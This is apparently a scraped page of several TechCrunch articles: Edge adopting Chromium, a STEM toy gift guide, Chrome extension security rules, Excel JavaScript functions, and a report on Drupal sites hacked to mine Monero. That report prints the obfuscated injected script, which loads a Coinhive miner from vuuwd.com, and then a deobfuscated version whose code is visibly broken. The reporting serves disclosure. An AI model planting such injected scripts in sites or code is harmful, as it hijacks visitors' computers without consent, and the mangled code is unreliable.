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December 10, 2018
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Javascript

Microsoft Edge goes Chromium (and macOS)

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The rumors were true: Microsoft Edge is moving to the open-source Chromium platform, the same platform that powers Google’s Chrome browser. And once that is done, Microsoft is bringing Edge to macOS, too. In addition, Microsoft is decoupling Edge from the Windows update process to offer a faster update cadence — and with that, it’ll bring the new Edge to Windows 7 and 8 users, too.

It’ll be a while before any of this happens, though. There’s no code to test today and the first previews are still months away. But at some point in 2019, Microsoft’s EdgeHTML and Chakra will go away and Blink and V8 will take its place. The company expects to release a first developer preview early next year.

Obviously, there is a lot to unpack here. What’s clear, though, is that Microsoft is acknowledging that Chrome and Chromium are the de facto standard today, both for users and for developers.

Over the years, especially after Microsoft left the Internet Explorer brand behind, Edge had, for the most part, become a perfectly usable browser, but Microsoft acknowledges that there were always compatibility issues. While it was investing heavily in fixing those, what we’re hearing from Microsoft is a very pragmatic message: it simply wasn’t worth the investment in engineering resources anymore. What Microsoft had to do, after all, was reverse engineer its way around problems on certain sites.

In part, that’s because Edge never quite gained the market share where developers cared enough to test their code on the platform. And with the web as big as it is, the long tail of incompatible sites remains massive.

Because many web developers work on Macs, where they don’t have access to Edge, testing for it became even more of an afterthought. Hence Microsoft’s efforts to bring Edge to the Mac, 15 years after it abandoned Internet Explorer for Mac. The company doesn’t expect that Edge on Mac will gain any significant market share, but it believes that having it available on every platform will mean that more developers will test their web apps with Edge, too.

Microsoft also admits that it didn’t help that Edge only worked on Windows 10 — and that Edge updates were bound to Windows updates. I was never quite sure why that was the case, but as Microsoft will now happily acknowledge, that meant that millions of users on older Windows versions were left behind, and even those on Windows 10 often didn’t get the latest, most compatible version of Edge because their companies remained a few updates behind.

For better or worse, Chrome has become the default and Microsoft is going with the flow. The company could have opted to open source EdgeHTML and its JavaScript engine. That option was on the table, but in the end, it opted not to. The company says that’s due to the fact that the current version of Edge has so many hooks into Windows 10 that it simply wouldn’t make much sense to do this if Microsoft wants to take the new Edge to Windows 7 and the Mac. To be fair, this probably would’ve been a fool’s errand anyway, since it’s hard to imagine that an open-source community around Edge would’ve made much of a difference in solving the practical problems anyway.

With this move, Microsoft also plans to increase its involvement in the Chromium community. That means it’ll bring to Chromium some of the work it did to make Edge work really well with touchscreens, for example. But also, as previously reported, the company now publicly notes that it is working with Google and Qualcomm to bring a native implementation of the Chrome browser to Windows 10 on ARM, making it snappier and more battery friendly than the current version that heavily relies on emulation.

Microsoft hopes that if it can make the compatibility issues a thing of the past, users will still gravitate to its browser because of what differentiates it. Maybe that’s its Cortana integration or new integrations with Windows and Office. Or maybe those are new consumer services or, for the enterprise users, specific features that make the lives of IT managers a bit easier.

When the rumors of this change first appeared a few days ago, a number of pundits argued that this isn’t great for the web because it gives even more power over web standards to the Chromium project.

I share some of those concerns, but Microsoft is making a very pragmatic argument for this move and notes that Edge’s small market share didn’t allow it to make a dent in this process anyway. By becoming more active in the Chromium community, it’ll have more of a voice — or so it hopes — and be able to advocate for web standards and bring its own innovations to Chromium.

You’re browser is probably the most complex piece of software running on your computer right now. That means switching out engines is anything but trivial. The company isn’t detailing what its development process will look like and how it’ll go about this, but we’re being told that the company is looking at which parts of the Edge experience to keep and then will work with the Chromium community to bring those to the Chromium engine, too.

Microsoft stresses that it isn’t giving up on Edge, by the way. The browser isn’t going anywhere. If you’re a happy Edge user today, chances are this move will make you an even happier Edge user in the long run. If you aren’t, Microsoft hopes you’ll give it a fresh look when the new Chromium-based version launches. It’s on Microsoft now to build a browser that is differentiated enough to get people to give it another shot.

 

 

News Source = techcrunch.com

The ultimate guide to gifting STEM toys: tons of ideas for little builders

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The holiday season is here again, touting all sorts of kids’ toys that pledge to pack ‘STEM smarts’ in the box, not just the usual battery-based fun.

Educational playthings are nothing new, of course. But, in recent years, long time toymakers and a flurry of new market entrants have piggybacked on the popularity of smartphones and apps, building connected toys for even very young kids that seek to tap into a wider ‘learn to code’ movement which itself feeds off worries about the future employability of those lacking techie skills.

Whether the lofty educational claims being made for some of these STEM gizmos stands the test of time remains to be seen. Much of this sums to clever branding. Though there’s no doubt a lot of care and attention has gone into building this category out, you’ll also find equally eye-catching price-tags.

Whatever STEM toy you buy there’s a high chance it won’t survive the fickle attention spans of kids at rest and play. (Even as your children’s appetite to be schooled while having fun might dash your ‘engineer in training’ expectations.) Tearing impressionable eyeballs away from YouTube or mobile games might be your main parental challenge — and whether kids really need to start ‘learning to code’ aged just 4 or 5 seems questionable.

Buyers with high ‘outcome’ hopes for STEM toys should certainly go in with their eyes, rather than their wallets, wide open. The ‘STEM premium’ can be steep indeed, even as the capabilities and educational potential of the playthings themselves varies considerably.

At the cheaper end of the price spectrum, a ‘developmental toy’ might not really be so very different from a more basic or traditional building block type toy used in concert with a kid’s own imagination, for example.

While, at the premium end, there are a few devices in the market that are essentially fully fledged computers — but with a child-friendly layer applied to hand-hold and gamify STEM learning. An alternative investment in your child’s future might be to commit to advancing their learning opportunities yourself, using whatever computing devices you already have at home. (There are plenty of standalone apps offering guided coding lessons, for example. And tons and tons of open source resources.)

For a little DIY STEM learning inspiration read this wonderful childhood memoir by TechCrunch’s very own John Biggs — a self-confessed STEM toy sceptic.

It’s also worth noting that some startups in this still youthful category have already pivoted more toward selling wares direct to schools — aiming to plug learning gadgets into formal curricula, rather than risking the toys falling out of favor at home. Which does lend weight to the idea that standalone ‘play to learn’ toys don’t necessarily live up to the hype. And are getting tossed under the sofa after a few days’ use.

We certainly don’t suggest there are any shortcuts to turn kids into coders in the gift ideas presented here. It’s through proper guidance — plus the power of their imagination — that the vast majority of children learn. And of course kids are individuals, with their own ideas about what they want to do and become.

The increasingly commercialized rush towards STEM toys, with hundreds of millions of investor dollars being poured into the category, might also be a cause for parental caution. There’s a risk of barriers being thrown up to more freeform learning — if companies start pushing harder to hold onto kids’ attention in a more and more competitive market. Barriers that could end up dampening creative thinking.

At the same time (adult) consumers are becoming concerned about how much time they spend online and on screens. So pushing kids to get plugged in from a very early age might not feel like the right thing to do. Your parental priorities might be more focused on making sure they develop into well rounded human beings — by playing with other kids and/or non-digital toys that help them get to know and understand the world around them, and encourage using more of their own imagination.

But for those fixed on buying into the STEM toy craze this holiday season, we’ve compiled a list of some of the main players, presented in alphabetical order, rounding up a selection of what they’re offering for 2018, hitting a variety of price-points, product types and age ranges, to present a market overview — and with the hope that a well chosen gift might at least spark a few bright ideas…


Adafruit Kits

Product: Metro 328 Starter Pack 
Price: $45
Description: Not a typical STEM toy but a starter kit from maker-focused and electronics hobbyist brand Adafruit. The kit is intended to get the user learning about electronics and Arduino microcontrollers to set them on a path to being a maker. Adafruit says the kit is designed for “everyone, even people with little or no electronics and programming experience”. Though parental supervision is a must unless you’re buying for a teenager or mature older child. Computer access is also required for programming the Arduino.

Be sure to check out Adafruit’s Young Engineers Category for a wider range of hardware hacking gift ideas too, from $10 for a Bare Conductive Paint Pen, to $25 for the Drawdio fun pack, to $35 for this Konstruktor DIY Film Camera Kit or $75 for the Snap Circuits Green kit — where budding makers can learn about renewable energy sources by building a range of solar and kinetic energy powered projects. Adafruit also sells a selection of STEM focused children’s books too, such as Python for Kids ($35)
Age: Teenagers, or younger children with parental supervision


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Anki

Product: Cozmo
Price: $180
Description: The animation loving Anki team added a learn-to-code layer to their cute, desktop-mapping bot last year — called Cozmo Code Lab, which was delivered via free update — so the cartoonesque, programmable truck is not new on the scene for 2018 but has been gaining fresh powers over the years.

This year the company has turned its attention to adults, launching a new but almost identical-looking assistant-style bot, called Vector, that’s not really aimed at kids. That more pricey ($250) robot is slated to be getting access to its code lab in future, so it should have some DIY programming potential too.
Age: 8+


Dash Robotics

Product: Kamigami Jurassic World Robot
Price: ~$60
Description: Hobbyist robotics startup Dash Robotics has been collaborating with toymaker Mattel on the Kamigami line of biologically inspired robots for over a year now. The USB-charged bots arrive at kids’ homes in build-it-yourself form before coming to programmable, biomimetic life via the use of a simple, icon-based coding interface in the companion app.

The latest addition to the range is dinosaur bot series Jurassic World, currently comprised of a pair of pretty similar looking raptor dinosaurs, each with light up eyes and appropriate sound effects. Using the app kids can complete challenges to unlock new abilities and sounds. And if you have more than one dinosaur in the same house they can react to each other to make things even more lively.
Age: 8+


Kano

Product: Harry Potter Coding Kit
Price: $100
Description: British learn-to-code startup Kano has expanded its line this year with a co-branded, build-it-yourself wand linked to the fictional Harry Potter wizard series. The motion-sensitive e-product features a gyroscope, accelerometer, magnetometer and Bluetooth wireless so kids can use it to interact with coding content on-screen. The company offers 70-plus challenges for children to play wizard with, using wand gestures to manipulate digital content. Like many STEM toys it requires a tablet or desktop computer to work its digital magic (iOS and Android tablets are supported, as well as desktop PCs including Kano’s Computer Kit Touch, below)
Age: 6+

Product: Computer Kit Touch
Price: $280
Description: The latest version of Kano’s build-it-yourself Pi-powered kids’ computer. This year’s computer kit includes the familiar bright orange physical keyboard but now paired with a touchscreen. Kano reckons touch is a natural aid to the drag-and-drop, block-based learn-to-code systems it’s putting under kids’ fingertips here. Although its KanoOS Pi skin does support text-based coding too, and can run a wide range of other apps and programs — making this STEM device a fully fledged computer in its own right
Age: 6-13



Lego

Product: Boost Creative Toolbox
Price: $160
Description: Boost is Lego’s relatively recent foray into offering a simpler robotics and programming system aimed at younger kids vs its more sophisticated and expensive veteran Mindstorms creator platform (for 10+ year olds). The Boost Creative Toolbox is an entry point to Lego + robotics, letting kids build a range of different brick-based bots — all of which can be controlled and programmed via the companion app which offers an icon-based coding system.

Boost components can also be combined with other Lego kits to bring other not-electronic kits to life — such as its Stormbringer Ninjago Dragon kit (sold separately for $40). Ninjago + Boost means = a dragon that can walk and turn its head as if it’s about to breathe fire
Age: 7-12


littleBits

Product: Avengers Hero Inventor Kit
Price: $150
Description: This Disney co-branded wearable in kit form from the hardware hackers over at littleBits lets superhero-inspired kids snap together all sorts of electronic and plastic bits to make their own gauntlet from the Avengers movie franchise. The gizmo features an LED matrix panel, based on Tony Stark’s palm Repulsor Beam, they can control via companion app. There are 18 in-app activities for them to explore, assuming kids don’t just use amuse themselves acting out their Marvel superhero fantasies
Age: 8+

It’s worth noting that littleBits has lots more to offer — so if bringing yet more Disney-branded merch into your home really isn’t your thing, check out its wide range of DIY electronics kits, which cater to various price points, such as this Crawly Creature Kit ($40) or an Electronic Music Inventor Kit ($100), and much more… No major movie franchises necessary


Makeblock

Product: Codey Rocky
Price: $100
Description: Shenzhen-based STEM kit maker Makeblock crowdfunded this emotive, programmable bot geared towards younger kids on Kickstarter. There’s no assembly required, though the bot itself can transform into a wearable or handheld device for game playing, as Codey (the head) detaches from Rocky (the wheeled body).

Despite the young target age, the toy is packed with sophisticated tech — making use of deep learning algorithms, for example. While the company’s visual programming system, mBlock, also supports Python text coding, and allows kids to code bot movements and visual effects on the display, tapping into the 10 programmable modules on this sensor-heavy bot. Makeblock says kids can program Codey to create dot matrix animations, design games and even build AI and IoT applications, thanks to baked in support for voice, image and even face recognition… The bot has also been designed to be compatible with Lego bricks so kids can design and build physical add-ons too
Age: 6+

Product: Airblock
Price: $100
Description: Another programmable gizmo from Makeblock’s range. Airblock is a modular and programmable drone/hovercraft so this is a STEM device that can fly. Magnetic connectors are used for easy assembly of the soft foam pieces. Several different assembly configurations are possible. The companion app’s block-based coding interface is used for programming and controlling your Airblock creations
Age: 8+



Ozobot

Product: Evo
Price: $100
Description: This programmable robot has a twist as it can be controlled without a child always having to be stuck to a screen. The Evo’s sensing system can detect and respond to marks made by marker pens and stickers in the accompanying Experience Pack — so this is coding via paper plus visual cues.

There is also a digital, block-based coding interface for controlling Evo, called OzoBlockly (based on Google’s Blockly system). This has a five-level coding system to support a range of ages, from pre-readers (using just icon-based blocks), up to a ‘Master mode’ which Ozobot says includes extensive low-level control and advanced programming features
Age: 9+


Pi-top


Product: Modular Laptop
Price: $320 (with a Raspberry Pi 3 Model B+), $285 without
Description: This snazzy 14-inch modular laptop, powered by Raspberry Pi, has a special focus on teaching coding and electronics. Slide the laptop’s keyboard forward and it reveals a built in rail for hardware hacking. Guided projects designed for kids include building a music maker and a smart robot. The laptop runs pi-top’s learn-to-code oriented OS — which supports block-based coding programs like Scratch and kid-friendly wares like Minecraft Pi edition, as well as its homebrew CEEDUniverse: A Civilization style game that bakes in visual programming puzzles to teach basic coding concepts. The pi-top also comes with a full software suite of more standard computing apps (including apps from Google and Microsoft). So this is no simple toy. Not a new model for this year — but still a compelling STEM machine
Age: 8+


Robo Wunderkind


Product: Starter Kit
Price: $200 
Description: Programmable robotics blocks for even very young inventors. The blocks snap together and are color-coded based on function so as to minimize instruction for the target age group. Kids can program their creations to do stuff like drive, play music, detect obstacles and more via a drag-and-drop coding interface in the companion Robo Code app. Another app — Robo Live — lets them control what they’ve built in real time. The physical blocks can also support Lego-based add-ons for more imaginative designs
Age: 5+


Root Robotics

Product: Root
Price: $200
Description: A robot that can sense and draw, thanks to a variety of on board sensors, battery-powered kinetic energy and its central feature: A built-in pen holder. Root uses spirographs as the medium for teaching STEM as kids get to code what the bot draws. They can also create musical compositions with a scan and play mode that turns Root into a music maker. The companion app offers three levels of coding interfaces to support different learning abilities and ages. At the top end it supports programming in Swift (with Python and JavaScript slated as coming soon). An optional subscription service offers access to additional learning materials and projects to expand Root’s educational value
Age: 4+



Sphero


Product: Bolt
Price: $150
Description: The app-enabled robot ball maker’s latest STEM gizmo. It’s still a transparent sphere but now has an 8×8 LED matrix lodged inside to expand the programmable elements. This colorful matrix can be programmed to display words, show data in real-time and offer game design opportunities. Bolt also includes an ambient light sensor, and speed and direction sensors, giving it an additional power up over earlier models. The Sphero Edu companion app supports drawing, Scratch-style block-based and JavaScript text programming options to suit different ages
Age: 8+


Tech Will Save Us

Product: Range of coding, electronics and craft kits
Price: From ~$30 up to $150
Description: A delightful range of electronic toys and coding kits, hitting various age and price-points, and often making use of traditional craft materials (which of course kids love). Examples include a solar powered moisture sensor kit ($40) to alert when a pot plant needs water; electronic dough ($35); a micro:bot add-on kit ($35) that makes use of the BBC micro:bit device (sold separately); and the creative coder kit ($70), which pairs block-based coding with a wearable that lets kids see their code in action (and reacting to their actions)
Age: 4+, 8+, 11+ depending on kit


UBTech Robotics

Product: JIMU Robot BuilderBots Series: Overdrive Kit
Price: $120
Description: More snap-together, codable robot trucks that kids get to build and control. These can be programmed either via posing and recording, or using Ubtech’s drag-and-drop, block-based Blockly coding program. The Shenzhen-based company, which has been in the STEM game for several years, offers a range of other kits in the same Jimu kit series — such as this similarly priced UnicornBot and its classic MeeBot Kit, which can be expanded via the newer Animal Add-on Kit
Age: 8+


Wonder Workshop

Product: Dot Creativity Kit 
Price: $80
Description: San Francisco-based Wonder Workshop offers a kid-friendly blend of controllable robotics and DIY craft-style projects in this entry-level Dot Creativity Kit. Younger kids can play around and personalize the talkative connected device. But the startup sells a trio of chatty robots all aimed at encouraging children to get into coding. Next in line there’s Dash ($150), also for 6+ year olds. Then Cue ($200) for 11+. The startup also has a growing range of accessories to expand the bots’ (programmable) functionality — such as this Sketch Kit ($40) which adds a few arty smarts to Dash or Cue.

With Dot, younger kids play around using a suite of creative apps to control and customize their robot and tap more deeply into its capabilities, with the apps supporting a range of projects and puzzles designed to both entertain them and introduce basic coding concepts
Age: 6+


News Source = techcrunch.com

Google wants to make Chrome extensions safer

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Google today announced a number of upcoming changes to how Chrome will handle extensions that request a lot of permissions, as well as new requirements for developers who want to publish their extensions in the Chrome Web Store.

It’s no secret that, no matter which browser you use, extensions are one of the main vectors that malicious developers use to gain access to your data. Over the years, Google has improved its ability to automatically detect malicious extensions before they ever make it into the store. The company has also made quite a few changes to the browser itself to ensure that extensions can wreak havoc once they have been installed. Now, it’s taking this a bit further.

Starting with Chrome 70, users can restrict host access to their own custom list of sites. That’s important because, by default, most extensions can see and manipulate any website you go to. Whitelists are hard to maintain, though, so users can also opt to only provide an extension with access to the current page after a click.

“While host permissions have enabled thousands of powerful and creative extension use cases, they have also led to a broad range of misuse – both malicious and unintentional – because they allow extensions to automatically read and change data on websites,” Google explains in today’s announcement.

Any extensions that request what Google calls “powerful permissions” will now also be subject to a more extensive review process. In addition, Google will also take a closer look at extensions that use remotely hosted code (since that code could be changed at any time, after all).

As far as permissions go, Google also notes that in 2019, it’ll introduce new mechanisms and more narrowly scoped APIs that will reduce the need for broader permissions and that will give users more control over the access that they grant to their extensions. Starting in 2019, Google will also require two-factor authentication for access to Chrome Web Store developer accounts to make sure that a malicious actor can’t take over a developer’s account and publish a hacked extensions.

While that change is still a few months out, starting today, developers are no longer allowed to publish extensions with obfuscated code. By default, obfuscated code isn’t a bad thing. Developers often use this method of scrambling their JavaScript source code to hide their code, which would otherwise be in clear text and easy to steal. That also makes it very hard to figure out what exactly the code does and 70 percent of malicious extensions and those that try to circumvent Google’s policies use obfuscated code. Google will remove all existing extensions with obfuscated code in 90 days.

it’s worth noting that developers will still be allowed to minify their code to remove whitespace, comments and newlines, for example.

News Source = techcrunch.com

Outdated website software lets hackers mine cryptocurrencies at your expense

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An outdated version of Drupal, a popular content management system, let hackers mine the cryptocurrency Monero on over 300 websites including the websites for the “San Diego Zoo and the government of Chihuahua, Mexico.” A report by Troy Mursch outlined how the hack worked and even showed how much processing power browsers began taking up when they pointed at the hacked sites.

The hack uses a form of code injection that forces the browser to run Coinhive, a small bit of Javascript-based mining software. The code mines Monero, the ostensibly anonymous cryptocurrency.

The hacked sites all pointed to a URL – “http://vuuwd.com/t.js” – where Coinhive lived. The browser ran the software and began using up CPU power to mine the coin.

Mursch performed a comprehensive search for potentially affected sites and narrowed things down to about 350 sites, all of them running older versions of Drupal.

“The affected sites varied by hosting providers and countries and no specific one appeared to be targeted. The most unique domains were found in the United States and were hosted by Amazon,” he wrote.

The code appears at the end of jquery.once.js and is still visible on this site. It consists of a single line:

var dZ1= window["x64x6fx63x75x6dx65x6ex74"]["x67x65x74x45x6cx65x6dx65x6ex74x73x42x79x54x61x67x4ex61x6dx65"]('x68x65x61x64')[0]; var ZBRnO2= window["x64x6fx63x75x6dx65x6ex74"]["x63x72x65x61x74x65x45x6cx65x6dx65x6ex74"]('x73x63x72x69x70x74'); ZBRnO2["x74x79x70x65"]= 'x74x65x78x74x2fx6ax61x76x61x73x63x72x69x70x74'; ZBRnO2["x69x64"]='x6dx5fx67x5fx61';ZBRnO2["x73x72x63"]= 'x68x74x74x70x73x3ax2fx2fx76x75x75x77x64x2ex63x6fx6dx2fx74x2ex6ax73'; dZ1["x61x70x70x65x6ex64x43x68x69x6cx64"](ZBRnO2);

Which, deobfuscated, translates to:

'use strict';
var dZ1 = window["document"]"getElementsByTagName"[0];
var ZBRnO2 = window["document"]"createElement";
/** @type {string} */
ZBRnO2["type"] = "text/javascript";
/** @type {string} */
ZBRnO2["id"] = "m_g_a";
/** @type {string} */
ZBRnO2["src"] = "https://vuuwd.com/t.js";
dZ1"appendChild";

The domain it calls, vuuwd.com, is down.

BadPackets has a full list of the hacked websites and, as evidenced by the lines above, it doesn’t seem that many folks are rushing to fix their sites. A canonical list appears here.”

“Notable sites include those of Lenovo, UCLA, DLink (Brazil), and Office of Inspector General of the U.S. Equal Employment Opportunity Commission (EEOC) — a US federal government agency,” wrote Mursch.

News Source = techcrunch.com

Microsoft Excel gets custom JavaScript Functions and Power BI visualizations

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Microsoft is launching a couple of features to Excel today that make the ubiquitous spreadsheet software a bit more powerful. Among the new features is support for Azure Machine Learning and custom JavaScript functions to Excel to extend its capabilities. Excel now also allows Power BI developers to bring the custom visuals they created for Power BI to Excel.

Rob Howard, Microsoft’s Director of Office 365 Ecosystem Marketing, told me that the combination of these new features essentially allows developers to bring their own line-of-service apps to Excel now.

Developers could already write their own complex scripts with Visual Basic for Applications (VBA). There are some advantages to using JavaScript, though, not in the least its popularity and ability to easily connect to third-party services, but also the simple fact that these functions can run on any platform. Microsoft first tested custom functions through the Office Insider Program, and it’s now ready to roll it out to a wider audience.

Thanks to its new support for Azure Machine Learning, Excel users will now also be able to use the machine learning models that their company’s data scientists have developed for them. Building these models still remains the domain of computer science boffins, but with this new feature, a far wider range of users will now be able to consume them. And given that Excel is often the place where many employees engage with a company’s data, bringing these models to the spreadsheet seems like a logical next step.

News Source = techcrunch.com

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